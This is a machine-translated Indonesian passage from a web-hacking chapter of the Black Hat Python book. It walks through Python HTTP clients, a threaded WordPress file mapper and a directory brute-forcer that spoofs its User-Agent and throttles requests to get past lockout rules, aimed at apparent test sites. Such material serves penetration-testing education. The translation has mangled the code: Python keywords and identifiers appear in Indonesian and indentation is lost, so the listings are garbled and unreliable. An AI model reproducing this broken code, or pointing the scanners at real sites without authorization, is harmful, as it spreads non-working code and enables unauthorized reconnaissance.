layanan web. Saat melakukan serangan berbasis jaringan, Anda mungkin menggunakan mesin Anda sendiri
atau mesin di dalam jaringan yang Anda serang. Jika Anda menggunakan mesin yang telah disusupi, Anda harus
puas dengan apa yang Anda miliki, yang mungkin berupa instalasi sederhana Python 2.x atau Python 3.x. Kami
akan melihat apa yang dapat Anda lakukan dalam situasi tersebut menggunakan perpustakaan standar.
Namun, untuk sisa bab ini, kami berasumsi Anda berada di mesin penyerang menggunakan paket terbaru.

Perpustakaan urllib2 untuk Python 2.x


Anda akan melihat pustaka urllib2 yang digunakan dalam kode yang ditulis untuk Python 2.x. Itu
dibundel ke dalam perpustakaan standar. Sama seperti perpustakaan soket untuk menulis
perkakas jaringan, orang menggunakan perpustakaan urllib2 saat membuat alat untuk berinteraksi
dengan layanan web. Mari kita lihat kode yang membuat permintaan GET yang sangat sederhana
ke situs web No Starch Press:

impor urllib2
url = 'https://www.nostarch.com'
1 tanggapan = urllib2.urlopen(url) # DAPATKAN
2 cetak(respons.baca())
respon.tutup()

Ini adalah contoh paling sederhana bagaimana membuat permintaan GET ke situs web. Kita
meneruskan URL ke fungsi urlopen 1, yang mengembalikan objek seperti file yang memungkinkan kita
membaca kembali isi dari apa yang dikembalikan oleh server web jarak jauh 2. Karena kita baru saja
mengambil halaman mentah dari situs web No Starch, tidak ada JavaScript atau bahasa sisi klien lainnya yang
akan dijalankan.
Namun, dalam sebagian besar kasus, Anda memerlukan kontrol yang lebih menyeluruh mengenai caranya
Anda membuat permintaan ini, termasuk kemampuan untuk menentukan header tertentu, menangani cookie,
dan membuat permintaan POST. Pustaka urllib2 mencakup

72 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

kelas Permintaan yang memberi Anda tingkat kontrol ini. Contoh berikut menunjukkan kepada
Anda cara membuat permintaan GET yang sama dengan menggunakan kelas Permintaan
dan dengan mendefinisikan header HTTP Agen-Pengguna kustom :

impor urllib2
url = "https://www.nostarch.com"
1 header = {'Agen-Pengguna': "Googlebot"}

2 permintaan = urllib2.Permintaan(url,header=header)
3 tanggapan = urllib2.liburan(permintaan)

cetak(respon.baca())
respon.tutup()

Konstruksi objek Permintaan sedikit berbeda dari contoh sebelumnya. Untuk


membuat header khusus, kami mendefinisikan header
kamus 1, yang memungkinkan kita mengatur kunci header dan nilai yang ingin kita gunakan.
Dalam hal ini, kita akan membuat skrip Python kita tampak seperti Googlebot. Kami
kemudian membuat objek Permintaan kami dan meneruskan url dan kamus header 2,
dan kemudian meneruskan objek Permintaan ke urlopen
pemanggilan fungsi 3. Ini mengembalikan objek seperti file normal yang dapat kita gunakan
untuk membaca data dari situs web jarak jauh.

Perpustakaan urllib untuk Python 3.x


Di Python 3.x, perpustakaan standar menyediakan paket urllib , yang membagi kemampuan dari
paket urllib2 menjadi urllib.request dan urllib
.error subpaket. Ia juga menambahkan kemampuan penguraian URL dengan subpaket
urllib.parse.
Untuk membuat permintaan HTTP dengan paket ini, Anda dapat menggunakan permintaan
tersebut sebagai pengelola konteks menggunakan pernyataan with . Respons yang dihasilkan
harus berisi string byte. Berikut cara membuat permintaan GET:

1 impor urllib.parse
impor urllib.permintaan

2 url = 'http://boodelyboo.com'
3 dengan urllib.request.urlopen(url) sebagai tanggapan: # GET
4 konten = respon.baca()

mencetak (isi)

Di sini kita mengimpor paket yang kita perlukan 1 dan menentukan URL target 2.
Kemudian, dengan menggunakan metode urlopen sebagai pengelola konteks, kita
membuat permintaan 3 dan membaca respons 4.

Peretas Web 73
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Untuk membuat permintaan POST, teruskan kamus data ke objek permintaan,


yang dikodekan sebagai byte. Kamus data ini harus memiliki pasangan nilai kunci
yang diharapkan oleh aplikasi web target. Dalam contoh ini, kamus info berisi
kredensial (pengguna, sandi) yang diperlukan untuk masuk ke situs web target:

info = {'pengguna': 'tim', 'passwd': '31337'}


1 data = urllib.parse.urlencode(info).encode() # data sekarang bertipe byte

2 permintaan = urllib.request.Request(url, data)


dengan urllib.request.urlopen(req) sebagai tanggapan: # POST
3 konten = respon.baca()

mencetak (isi)

Kami mengkodekan kamus data yang berisi kredensial login untuk


menjadikannya objek byte 1, memasukkannya ke dalam permintaan POST 2 yang
mengirimkan kredensial, dan menerima respons aplikasi web terhadap upaya login kami 3.

Perpustakaan permintaan

Bahkan dokumentasi resmi Python merekomendasikan penggunaan permintaan


perpustakaan untuk antarmuka klien HTTP tingkat yang lebih tinggi. Itu tidak ada di perpustakaan
standar, jadi Anda harus menginstalnya. Berikut cara melakukannya menggunakan pip:

permintaan pemasangan pip

Pustaka permintaan berguna karena dapat secara otomatis menangani cookie


untuk Anda, seperti yang akan Anda lihat di setiap contoh berikut, terutama pada
contoh di mana kita menyerang situs WordPress di bagian “Otentikasi Formulir
HTML Brute-Forcing” di halaman XX. Untuk membuat permintaan HTTP, lakukan hal
berikut:

permintaan impor
url = 'http://boodelyboo.com'
respon = permintaan.dapatkan(url) # DAPATKAN

data = {'pengguna': 'tim', 'passwd': '31337'}


1 tanggapan = permintaan.posting(url, data=data) # POST
2 cetak(respon.teks) # respon.teks = string; respon.konten = bytestring

Kami membuat url, permintaan , dan kamus data yang berisi pengguna
dan kunci sandi . Kemudian kami memposting permintaan itu 1 dan mencetak
atribut teks (string) 2. Jika Anda lebih suka bekerja dengan string byte, gunakan konten
atribut dikembalikan dari pos. Anda akan melihat contohnya di bagian “Otentikasi
Formulir HTML Brute-Forcing” di halaman XX.

Paket lxml dan BeautifulSoup


Setelah Anda mendapatkan respons HTTP, paket lxml atau BeautifulSoup dapat
membantu Anda menguraikan konten. Selama beberapa tahun terakhir, kedua
paket ini menjadi semakin mirip; Anda dapat menggunakan parser lxml dengan

74 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Paket BeautifulSoup dan parser BeautifulSoup dengan paket lxml .


Anda akan melihat kode dari peretas lain yang menggunakan salah satu kode tersebut. Paket
lxml menyediakan parser yang sedikit lebih cepat, sedangkan paket BeautifulSoup memiliki
logika untuk secara otomatis mendeteksi pengkodean halaman HTML target. Kami akan
menggunakan paket lxml di sini. Instal salah satu paket dengan pip:

pip instal lxml


pip instal sup cantik4

Misalkan Anda memiliki konten HTML dari permintaan yang disimpan dalam variabel bernama
konten. Dengan menggunakan lxml, Anda dapat mengambil konten dan mengurai tautannya sebagai
berikut:

1 dari io impor BytesIO


dari lxml impor etree

permintaan impor

url = 'https://nostarch.com
2 r = permintaan.dapatkan(url) # DAPATKAN
content = r.content # content bertipe 'byte'

pengurai = etree.HTMLParser()
3 content = etree.parse(BytesIO(content), parser=parser) # Parsing ke dalam pohon
4 untuk link di content.findall('//a'): # temukan semua elemen jangkar "a".
5 mencetak(f"{link.get('href')} -> {link.teks}")

Kami mengimpor kelas BytesIO dari modul io 1 karena kami memerlukannya


itu untuk menggunakan string byte sebagai objek file ketika kita mengurai respons HTTP.
Selanjutnya, kita melakukan permintaan GET seperti biasa 2 dan kemudian menggunakan
parser HTML lxml untuk mengurai responsnya. Parser mengharapkan objek seperti file
atau nama file. Kelas BytesIO memungkinkan kita untuk menggunakan konten string byte
yang dikembalikan sebagai objek seperti file untuk diteruskan ke parser lxml 3. Kami
menggunakan kueri sederhana untuk menemukan semua tag a (jangkar) yang berisi tautan di
konten yang dikembalikan 4 dan mencetak hasil. Setiap tag jangkar mendefinisikan sebuah tautan. hrefnya
atribut menentukan URL tautan.
Perhatikan penggunaan f-string 5 yang sebenarnya melakukan penulisan. Di Python 3.6 dan yang
lebih baru, Anda dapat menggunakan f-string untuk membuat string yang berisi nilai variabel yang diapit
kurung kurawal. Hal ini memungkinkan Anda dengan mudah melakukan hal-hal seperti memasukkan hasil
pemanggilan fungsi (link.get('href')) atau nilai biasa (link.text) dalam string Anda.

Dengan menggunakan BeautifulSoup, Anda dapat melakukan penguraian yang sama dengan kode ini.
Seperti yang Anda lihat, tekniknya sangat mirip dengan contoh terakhir kami menggunakan lxml:

dari bs4 impor BeautifulSoup sebagai bs


permintaan impor
url = 'http://bing.com'
r = permintaan.dapatkan(url)
1 pohon = bs(r.text, 'html.parser') # Parsing menjadi pohon
2 untuk tautan di tree.find_all('a'): # temukan semua elemen jangkar "a".
3 cetak(f"{link.get('href')} -> {link.teks}")

Peretas Web 75
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sintaksnya hampir sama. Kami menguraikan konten ke dalam pohon 1, mengulangi tautan
(a, atau jangkar, tag) 2, dan mencetak target (href
atribut) dan teks link (link.text) 3.
Jika Anda bekerja dari mesin yang disusupi, kemungkinan besar Anda akan menghindarinya
menginstal paket pihak ketiga ini agar tidak menimbulkan terlalu banyak gangguan jaringan,
sehingga Anda terjebak dengan apa pun yang Anda miliki, yang mungkin berupa instalasi sederhana
Python 2 atau Python 3. Itu berarti Anda akan menggunakan perpustakaan standar (urllib2 atau urllib ).

Dalam contoh berikut, kami berasumsi Anda berada dalam kotak serangan, yang berarti Anda
dapat menggunakan paket permintaan untuk menghubungi server web dan lxml untuk mengurai
keluaran yang Anda ambil.
Sekarang setelah Anda memiliki sarana dasar untuk berkomunikasi dengan layanan web dan
situs web, mari buat beberapa alat yang berguna untuk serangan aplikasi web atau uji penetrasi apa
pun.

Memetakan Instalasi Aplikasi Web Sumber Terbuka


Sistem manajemen konten (CMS) dan platform blogging seperti Joomla, WordPress, dan Drupal
membuat pembuatan blog atau situs web baru menjadi mudah, dan ini relatif umum di lingkungan hosting
bersama atau bahkan jaringan perusahaan. Semua sistem memiliki tantangannya masing-masing
dalam hal instalasi, konfigurasi, dan manajemen patch, tidak terkecuali rangkaian CMS ini. Ketika
sysadmin yang terlalu banyak bekerja atau pengembang web yang malang tidak mengikuti semua
prosedur keamanan dan instalasi, penyerang dapat dengan mudah mendapatkan akses ke server
web.

Karena kita bisa mendownload aplikasi web open source apa pun dan secara lokal
menentukan struktur file dan direktorinya, kita dapat membuat pemindai yang dibuat khusus yang
dapat mencari semua file yang dapat dijangkau pada target jarak jauh.
Hal ini dapat membasmi sisa file instalasi, direktori yang seharusnya dilindungi oleh file .htaccess ,
dan hal-hal lain yang dapat membantu penyerang mendapatkan pijakan di server web. Proyek ini juga
memperkenalkan Anda untuk menggunakan objek Python Queue , yang memungkinkan kita
membangun tumpukan item yang besar dan aman untuk thread dan memiliki beberapa thread yang
memilih item untuk diproses. Ini akan memungkinkan pemindai kami bekerja dengan sangat cepat.
Selain itu, kami dapat percaya bahwa kami tidak akan memiliki kondisi balapan karena kami
menggunakan antrean, yang aman untuk thread, bukan daftar.

Memetakan Kerangka WordPress


Misalkan Anda mengetahui bahwa target aplikasi web Anda menggunakan kerangka WordPress.
Mari kita lihat seperti apa instalasi WordPress. Unduh dan unzip salinan lokal WordPress. Anda bisa
mendapatkan versi terbaru dari https:// wordpress
.org/ unduh/. Di sini, kami menggunakan WordPress versi 5.4. Meskipun tata letak file mungkin berbeda
dari server langsung yang Anda targetkan, tata letak ini memberi kami tempat awal yang masuk
akal untuk menemukan file dan direktori yang ada di sebagian besar versi.

76 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Untuk mendapatkan peta direktori dan nama file yang standar


Distribusi WordPress, buat file baru bernama mapper.py. Mari kita tulis sebuah
fungsi bernama Gather_paths untuk menelusuri distribusi, memasukkan setiap jalur
file lengkap ke dalam antrian yang disebut web_paths:

impor kontekslib
impor os
antrian impor
permintaan impor
impor sys
impor threading
waktu impor

FILTER = [".jpg", ".gif", ".png", ".css"]


1 TARGET = "http://boodelyboo.com/wordpress"
BENANG = 10

jawaban = antrian.Antrian()
2 web_paths = antrian.Antrian()

def Gather_paths(): 3
_,
untuk root, file di os.walk('.'): untuk fname di file:

jika os.path.splitext(fname)[1] di FILTER: lanjutkan

path = os.path.join(root, fname) if


path.startswith('.'): path =
path[1:] print(path)

web_paths.put(path)

@contextlib.contextmanager 4
def chdir(jalur):
"""

Saat masuk, ubah direktori ke jalur yang ditentukan.


Saat keluar, ubah direktori kembali ke aslinya.
"""

this_dir = os.getcwd()
os.chdir(path)

coba: 5
akhirnya
menghasilkan: 6 os.chdir(this_dir)

if __name__ == '__main__': 7
dengan chdir("/home/tim/Downloads/wordpress"):
Gather_paths()
input('Tekan kembali untuk melanjutkan.')

Kita mulai dengan menentukan situs web target jarak jauh 1 dan membuat daftar
ekstensi file yang tidak ingin kita sidik jarinya. Daftar ini dapat berbeda tergantung
pada aplikasi target, namun dalam hal ini kami memilih

Peretas Web 77
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

untuk menghilangkan gambar dan file style sheet. Sebaliknya, kami menargetkan file
HTML atau teks, yang kemungkinan besar berisi informasi yang berguna untuk
menyusupi server. Variabel jawaban adalah objek Antrian dimana kita akan meletakkan
jalur file yang kita temukan secara lokal. Variabel web_paths 2 adalah objek Antrian kedua
tempat kita akan menyimpan file yang akan kita coba cari di server jarak jauh.
Dalam fungsi Gather_paths , kita menggunakan fungsi os.walk 3 untuk menelusuri
semua file dan direktori di direktori aplikasi web lokal. Saat menelusuri file dan direktori,
kami membuat jalur lengkap ke file target dan mengujinya terhadap daftar yang disimpan
di FILTERED untuk memastikan kami hanya mencari jenis file yang kami inginkan. Untuk
setiap file valid yang kami temukan secara lokal, kami menambahkannya ke Antrean
variabel web_paths .
Manajer konteks chdir 4 memerlukan sedikit penjelasan. Manajer konteks
memberikan pola pemrograman yang keren, terutama jika Anda pelupa atau memiliki
terlalu banyak hal untuk dilacak dan ingin menyederhanakan hidup Anda. Anda akan
merasakan manfaatnya ketika Anda membuka sesuatu dan perlu menutupnya,
mengunci sesuatu dan perlu melepaskannya, atau mengubah sesuatu dan perlu
mengatur ulang. Anda mungkin familiar dengan pengelola file bawaan seperti open
untuk membuka file atau soket untuk menggunakan soket.
Umumnya, Anda membuat pengelola konteks dengan membuat kelas __
dengan metode enter__ dan __exit__ . Metode __enter__ mengembalikan sumber daya
yang perlu dikelola (seperti file atau soket) dan metode __exit__ melakukan operasi
pembersihan (seperti menutup file, misalnya).
Namun, dalam situasi di mana Anda tidak memerlukan banyak kontrol, Anda dapat
menggunakan @contextlib.contextmanager untuk membuat pengelola konteks
sederhana yang mengubah fungsi generator menjadi pengelola konteks.
Fungsi chdir ini memungkinkan Anda mengeksekusi kode di dalam direktori
berbeda dan menjamin bahwa, ketika Anda keluar, Anda akan dikembalikan ke
direktori asli. Fungsi generator chdir menginisialisasi konteks dengan menyimpan
direktori asli dan mengubahnya ke direktori baru, mengembalikan kontrol ke Gather_paths
5, dan kemudian kembali ke direktori asli 6.
Perhatikan bahwa definisi fungsi chdir berisi blok try dan akhirnya .
Anda akan sering menemukan pernyataan coba/kecuali , namun pasangan coba/
akhirnya kurang umum. Blok akhirnya selalu dijalankan, terlepas dari pengecualian apa
pun yang diajukan. Kita memerlukan ini di sini karena, tidak peduli apakah perubahan
direktori berhasil atau tidak, kita ingin konteksnya kembali ke direktori asli. Contoh mainan
dari blok percobaan menunjukkan apa yang terjadi untuk setiap kasus:

mencoba:

sesuatu_yang_mungkin_menyebabkan_kesalahan_()
kecuali SomeError sebagai e:
cetak(e) # tampilkan kesalahan di konsol
lakukan sesuatu yang # mengambil beberapa tindakan alternatif
lain() yang lain:

everything_is_fine() # ini dijalankan hanya jika percobaan berhasil


Akhirnya:
membersihkan() # ini dijalankan apa pun yang terjadi

78 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Kembali ke kode pemetaan, Anda dapat melihat di blok __main__ bahwa Anda
menggunakan manajer konteks chdir di dalam pernyataan with 7, yang memanggil generator
dengan nama direktori tempat mengeksekusi kode. Dalam contoh ini, kami memasukkan
lokasi tempat kami membuka ritsleting file ZIP WordPress. Lokasi ini akan berbeda di mesin
Anda; pastikan Anda lewat di lokasi Anda sendiri. Memasuki fungsi chdir akan menyimpan
nama direktori saat ini dan mengubah direktori kerja ke jalur yang ditentukan sebagai argumen
untuk fungsi tersebut. Ini kemudian menghasilkan kontrol kembali ke thread utama eksekusi,
yang merupakan tempat fungsi Gather_paths dijalankan. Setelah mengumpulkan_jalur

fungsi selesai, kita keluar dari manajer konteks, klausa akhirnya dijalankan, dan direktori kerja
dikembalikan ke lokasi semula.
Anda tentu saja dapat menggunakan os.chdir secara manual, tetapi jika Anda lupa
membatalkan perubahan, program Anda akan dijalankan di tempat yang tidak terduga.
Dengan menggunakan manajer konteks chdir yang baru , Anda tahu bahwa Anda secara
otomatis bekerja dalam konteks yang benar dan, ketika Anda kembali, Anda kembali ke tempat
Anda sebelumnya. Anda dapat menyimpan fungsi manajer konteks ini di utilitas Anda dan
menggunakannya di skrip Anda yang lain. Menghabiskan waktu untuk menulis fungsi utilitas yang
bersih dan mudah dipahami seperti ini akan membuahkan hasil di kemudian hari, karena Anda akan
menggunakannya berulang kali.
Jalankan program untuk menjalankan distribusi WordPress
hierarki dan lihat jalur lengkap yang dicetak ke konsol:

(bhp) tim@kali:~/ bhp/bhp$ python mapper.py


/license.txt
/wp-settings.php
/xmlrpc.php
/wp-login.php
/wp-blog-header.php
/wp-config-sample.php
/wp-mail.php
/wp-signup.php
--menggunting--

/readme.html
/wp-include/class-requests.php
/wp-include/media.php
/wp-includes/wlwmanifest.xml
/wp-include/ID3/readme.txt
--menggunting--

/wp-content/plugins/akismet/_inc/form.js
/wp-content/plugins/akismet/_inc/akismet.js

Tekan kembali untuk melanjutkan.

Sekarang Antrean variabel web_paths kita penuh dengan jalur untuk diperiksa. Kamu bisa
lihat bahwa kami telah mengambil beberapa hasil menarik: jalur file ada di instalasi WordPress
lokal yang dapat kami uji terhadap aplikasi WordPress target langsung, termasuk file .txt, .js,
dan .xml . Tentu saja, Anda dapat memasukkan kecerdasan tambahan ke dalam skrip untuk
mengembalikan hanya file yang Anda minati, seperti file yang berisi kata “install.”

Peretas Web 79
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Menguji Target Langsung


Sekarang setelah Anda memiliki jalur ke file dan direktori WordPress, sekarang saatnya
melakukan sesuatu terhadapnya—yaitu, uji target jarak jauh Anda untuk melihat file mana
yang ditemukan di sistem file lokal Anda yang benar-benar diinstal pada target.
Ini adalah file yang dapat kita serang di fase selanjutnya, untuk melakukan brute force
login atau menyelidiki kesalahan konfigurasi. Mari tambahkan fungsi test_remote ke
file mapper.py :

def tes_jarak jauh():


1 saat bukan web_paths.empty():
2 jalur = web_paths.get()
url = f'{TARGET}{jalur}'
3 time.sleep(2) # target Anda mungkin mengalami pembatasan/penguncian.
r = permintaan.dapatkan(url)
jika r.status_code == 200:
4 jawaban.put(url)
sys.stdout.tulis('+')
kalau tidak:

sys.stdout.tulis('x')
sys.stdout.flush()

Fungsi test_remote adalah pekerja keras pembuat peta. Ini beroperasi


dalam perulangan yang akan terus dijalankan hingga Antrean variabel web_paths
kosong 1. Pada setiap iterasi perulangan, kita mengambil jalur dari Antrean 2,
menambahkannya ke jalur dasar situs web target, lalu mencoba mengambilnya. Jika
berhasil (ditunjukkan dengan kode respon 200), kita masukkan URL tersebut ke
antrian jawaban 4 dan tulis tanda + di konsol. Jika tidak, kita menulis x
di konsol dan lanjutkan perulangan.
Beberapa server web mengunci Anda jika Anda membombardir mereka dengan permintaan.
Itu sebabnya kami menggunakan time.sleep dua detik 3 untuk menunggu di antara setiap
permintaan, yang diharapkan akan cukup memperlambat laju permintaan kami untuk melewati
aturan lockout.
Setelah Anda mengetahui bagaimana target merespons, Anda dapat menghapus
baris yang menulis ke konsol, namun saat Anda pertama kali menyentuh target, menulis
karakter + dan x di konsol membantu Anda memahami apa yang terjadi saat Anda
menjalankan pengujian.
Terakhir, kita menulis fungsi run sebagai titik masuk ke aplikasi mapper:

pasti dijalankan():

mitos = daftar()
1 untuk saya dalam jangkauan (BENANG):
print(f'Pemijahan benang {i}')
2 t = threading.Benang(target=test_remote)
mitos.tambahkan(t)
t.mulai()

untuk utas di mitos:


3 utas.gabung()

80 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Fungsi run mengatur proses pemetaan, memanggil fungsi yang baru saja ditentukan.
Kami memulai 10 utas (didefinisikan di awal skrip) 1 dan meminta setiap utas
menjalankan fungsi test_remote 2. Kami kemudian menunggu hingga 10 utas selesai
(menggunakan thread.join) sebelum mengembalikan 3.
Sekarang, kita dapat menyelesaikannya dengan menambahkan beberapa logika lagi ke blok __main__ .
Ganti blok __main__ asli file dengan kode yang diperbarui ini:

jika __nama__ == '__utama__':


1 dengan chdir("/home/tim/Downloads/wordpress"):
kumpulkan_jalur()
2 masukan('Tekan kembali untuk melanjutkan.')

3 jalankan()
4 dengan open('myanswers.txt', 'w') sebagai f:
sementara tidak menjawab.kosong():
f.tulis(f'{jawaban.get()}\n')
cetak('selesai')

Kami menggunakan manajer konteks chdir 1 untuk menavigasi ke direktori yang benar
sebelum kita memanggil berkumpul_paths. Kami telah menambahkan jeda di sana jika
kami ingin meninjau keluaran konsol sebelum melanjutkan 2. Pada titik ini, kami telah
mengumpulkan jalur file yang menarik dari instalasi lokal kami. Kemudian kami menjalankan
tugas pemetaan utama 3 terhadap aplikasi jarak jauh dan menulis jawaban ke sebuah
file. Kami mungkin akan mendapatkan banyak permintaan yang berhasil, dan saat kami
mencetak URL yang berhasil ke konsol, hasilnya mungkin akan berlalu begitu cepat
sehingga kami tidak dapat mengikutinya. Untuk menghindarinya, tambahkan blok 4 untuk
menulis hasilnya ke file. Perhatikan metode manajer konteks untuk membuka file. Ini
menjamin bahwa file ditutup ketika pemblokiran selesai.

Menendang Ban
Penulis menyimpan situs hanya untuk pengujian (boodelyboo.com), dan itulah yang kami
targetkan dalam contoh ini. Untuk pengujian Anda sendiri, Anda dapat membuat situs untuk
dimainkan, atau Anda dapat menginstal WordPress ke Kali VM Anda. Perhatikan bahwa
Anda dapat menggunakan aplikasi web sumber terbuka apa pun yang cepat diterapkan
atau yang sudah Anda jalankan. Saat Anda menjalankan mapper.py, Anda akan melihat
keluaran seperti berikut:

Pemijahan benang 0
Pemijahan benang 1
Pemijahan benang 2
Pemijahan benang 3
Pemijahan benang 4
Pemijahan benang 5
Pemijahan benang 6
Pemijahan benang 7
Pemijahan benang 8
Pemijahan benang 9
++x+x+++x+x++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++

Peretas Web 81
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Ketika proses selesai, jalur di mana Anda berhasil dicantumkan di file baru
myanswers.txt.

Direktori dan Lokasi File Brute-Forcing


Contoh sebelumnya mengasumsikan banyak pengetahuan tentang target Anda. Namun saat Anda
menyerang aplikasi web khusus atau sistem e-commerce besar, sering kali Anda tidak
menyadari semua file yang dapat diakses di server web. Umumnya, Anda akan menyebarkan
laba-laba, seperti yang disertakan dalam Burp Suite, untuk merayapi situs web target guna
menemukan sebanyak mungkin aplikasi web. Namun dalam banyak kasus, Anda ingin
mendapatkan file konfigurasi, file pengembangan sisa, skrip debugging, dan remah roti
keamanan lainnya yang dapat memberikan informasi sensitif atau mengekspos fungsionalitas yang
tidak dimaksudkan oleh pengembang perangkat lunak. Satu-satunya cara untuk menemukan
konten ini adalah dengan menggunakan alat brute force untuk mencari nama file dan direktori
umum.

Kita akan membuat alat sederhana yang akan menerima daftar kata dari brute forcer umum,
seperti gobuster project1 dan SVNDigger,2 dan berupaya menemukan direktori dan file yang dapat
dijangkau di server web target. Anda akan menemukan banyak daftar kata yang tersedia di internet,
dan Anda sudah memiliki cukup banyak di distribusi Kali Anda (lihat /usr/ share/ wordlists). Untuk
contoh ini, kami akan menggunakan daftar dari SVNDigger. Anda dapat mengambil file untuk
SVNDigger sebagai berikut:

cd ~/Unduhan
dapatkan https://www.netsparker.com/s/research/SVNDigger.zip
buka zip SVNDigger.zip

Saat Anda mengekstrak file ini, file all.txt akan ada di Unduhan Anda
direktori.
Seperti sebelumnya, kami akan membuat kumpulan rangkaian pesan untuk mencoba
menemukan konten secara agresif. Mari kita mulai dengan membuat beberapa fungsi untuk membuat Antrian
keluar dari file daftar kata. Buka file baru, beri nama bruter.py, dan masukkan
kode berikut:

antrian impor
permintaan impor
impor threading
sistem impor

AGEN = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) Gecko/20100101 Firefox/19.0"


EKSTENSI = ['.php', '.bak', '.orig', '.inc']
TARGET = "http://testphp.vulnweb.com"
BENANG = 50
DAFTAR DUNIA = "/home/tim/Downloads/all.txt"

1. Proyek gobuster: https://github.com/OJ/gobuster/

2. Proyek SVNDigger: https:// www.mavitunasecurity.com/ blog/


svn-digger-daftar-lebih baik-untuk-penjelajahan-paksa/

82 Bab 5
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

1 def get_words(resume=Tidak Ada):

2 def extend_words(kata):
jika "." dalam kata:
kata-kata.put(f'/{word}')
kalau tidak:

3 kata.put(f'/{word}/')

untuk ekstensi dalam EKSTENSI:


kata-kata.put(f'/{word}{extension}')

dengan terbuka (DAFTAR WORDL) sebagai f:

4 kata_mentah = f.baca()

ditemukan_resume = Salah
kata-kata = antrian.Antrian()
untuk kata di raw_words.split():
5 jika resume bukan Tidak Ada:
jika ditemukan_resume:
perpanjang_kata(kata)
kata elif == resume:

ditemukan_resume = Benar
print(f'Melanjutkan daftar kata dari: {resume}')
kalau tidak:

mencetak(kata)
perpanjang_kata(kata)
6 kata balasan

Fungsi pembantu get_words 1, yang mengembalikan antrian kata yang akan kita
uji pada target, berisi beberapa teknik khusus. Kita membaca dalam file daftar kata 4
dan kemudian mulai mengulangi setiap baris dalam file tersebut. Kami kemudian mengatur
variabel resume ke jalur terakhir yang dicoba oleh brute force 5. Fungsi ini memungkinkan
kami untuk melanjutkan sesi brute force jika konektivitas jaringan kami terganggu atau
situs target mati. Ketika kami telah menguraikan seluruh file, kami mengembalikan Antrean
yang penuh dengan kata-kata untuk digunakan dalam fungsi brute-forcing kami yang
sebenarnya 6.
Perhatikan bahwa fungsi ini memiliki fungsi dalam yang disebut extend_words 2. Fungsi
dalam adalah fungsi yang didefinisikan di dalam fungsi lain. Kita bisa saja menulisnya di luar
get_words, tapi karena extend_words akan selalu berjalan dalam konteks fungsi
get_words , kita menempatkannya di dalam untuk menjaga namespace tetap rapi dan
membuat kode lebih mudah dipahami.
Tujuan dari fungsi dalam ini adalah untuk menerapkan daftar ekstensi yang akan diuji
saat membuat permintaan. Dalam beberapa kasus, Anda ingin mencoba tidak hanya /admin
ekstensi, misalnya, tetapi juga admin.php, admin.inc, dan admin.html 3.
Di sini akan berguna untuk bertukar pikiran tentang ekstensi umum yang mungkin
digunakan pengembang dan kemudian lupa untuk menghapusnya, seperti .orig dan .bak,
selain ekstensi bahasa pemrograman biasa. Fungsi bagian dalam extend_words menyediakan
kemampuan ini, dengan menggunakan aturan berikut: jika kata mengandung titik (.), kami
akan menambahkannya ke URL (misalnya, /test.php); jika tidak, kami akan memperlakukannya
seperti nama direktori (seperti /admin/) .

Peretas Web 83
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Apa pun kasusnya, kami akan menambahkan setiap kemungkinan ekstensi ke hasilnya.
Misalnya, jika kita memiliki dua kata, test.php dan admin, kita akan memasukkan kata-kata tambahan
berikut ke dalam antrian kata-kata kita:

/ test.php.bak, / test.php.inc, / test.php.orig, / test.php.php

/ admin/ admin.bak, / admin/ admin.inc, / admin/ admin.orig, / admin/ admin.php

Sekarang, mari kita tulis fungsi brute-forcing utama:

def dir_bruter(kata-kata):
1 header = {'Agen-Pengguna': AGEN}
sementara bukan kata-kata.kosong():
2 url = f'{TARGET}{words.get()}'
mencoba:

r = permintaan.dapatkan(url, header=header)
3 kecuali permintaan.pengecualian.ConnectionError:
sys.stderr.write('x');sys.stderr.flush()
melanjutkan

jika r.status_code == 200:


4 print(f'\nSukses ({r.status_code}: {url})')
elif r.status_code == 404:
5 sys.stderr.write('.');sys.stderr.flush()
kalau tidak:

mencetak(f'{r.status_code} => {url}')

jika __nama__ == '__utama__':


6 kata = get_words()
print('Tekan kembali untuk melanjutkan.')
sys.stdin.readline()
untuk dalam
_ jangkauan (BENANG):
t = threading.Thread(target=dir_bruter, args=(kata-kata,))
t.mulai()

Fungsi dir_bruter menerima objek Antrian yang diisi


kata-kata yang kami siapkan di fungsi get_words . Kami mendefinisikan string Agen-Pengguna di
awal program untuk digunakan dalam permintaan HTTP sehingga permintaan kami terlihat seperti
permintaan normal yang datang dari orang baik. Kami menambahkan informasi itu ke dalam variabel
headers 1. Kami kemudian mengulangi antrian kata . Untuk setiap iterasi, kami membuat URL yang
dapat digunakan untuk meminta pada aplikasi target 2 dan mengirimkan permintaan tersebut ke server
web jarak jauh.
Fungsi ini mencetak beberapa keluaran langsung ke konsol dan beberapa keluaran
ke stderr. Kami akan menggunakan teknik ini untuk menyajikan keluaran dengan cara yang fleksibel.
Ini memungkinkan kita menampilkan bagian keluaran yang berbeda, bergantung pada apa yang kita inginkan
untuk melihat.

Akan menyenangkan untuk mengetahui tentang kesalahan koneksi apa pun yang kami dapatkan
